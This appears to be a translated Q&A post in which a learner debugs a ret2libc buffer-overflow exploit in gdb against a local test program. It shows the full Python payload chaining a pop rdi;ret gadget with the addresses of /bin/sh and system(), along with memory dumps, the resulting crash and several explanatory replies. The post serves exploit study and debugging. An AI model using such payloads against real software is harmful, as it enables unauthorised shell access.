【发布时间】:2020-10-25 00:53:24
【问题描述】:
我在 gdb 中为 ret2libc 输入以下内容。
(gdb) r < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\x67\x02\x00\x00\x00\x00\x00" + "\xac\xb1\xf7\f7\xff\x7f\x00\x00" + "\xa0\x08\xe4\xf7\xff\x7f\x00\x00")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kali/Desktop/c_system/a < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\x67\x02\x00\x00\x00\x00\x00" + "\xac\xb1\xf7\f7\xff\x7f\x00\x00" + "\xa0\x08\xe4\xf7\xff\x7f\x00\x00")')
当我检查内存时,它在0x267de 之后显示了错误的值
(gdb) x/4g $rbp
0x7fffffffe190: 0x4242424242424242 0x00000000000267de
0x7fffffffe1a0: 0x007fff370cf7b1ac 0x007ffff7e408a000
所有地址都正确,最后程序以段错误结束。
AAAAAAAAAABBBBBBBB�g
Program received signal SIGSEGV, Segmentation fault.
0x00000000000267de in ?? ()
选择的小工具是pop rdi;ret,它位于0x267de,/bin/sh 位于0x7ffff7f7b1ac,system() 位于0x7ffff7e408a0,gets() 用于输入长度为 10 字节的缓冲区,并且没有其他变量存在于源代码中。
为什么会显示错误的值?
【问题讨论】:
-
我就是完全不懂这个问题。
-
作为输入的值和 /bin/sh 和 system() 的值在堆栈中不同。为什么会这样?
-
Python 和 C 没有义务按照您认为应该排列的方式排列堆栈中的内容。这些是实现细节。
-
黑帽网站可能会更好地帮助您解决此问题。
-
0x267de 可能是感兴趣的指令与目标文件中段开头的偏移量,但在重定位后,它们将位于进程中更高的地址。尝试在 gdb 中运行
disassemble命令以查看其中的内容。它可能是 64 位系统上的未映射内存。我认为可执行段从 0x40000 开始。
标签: python c input gdb exploit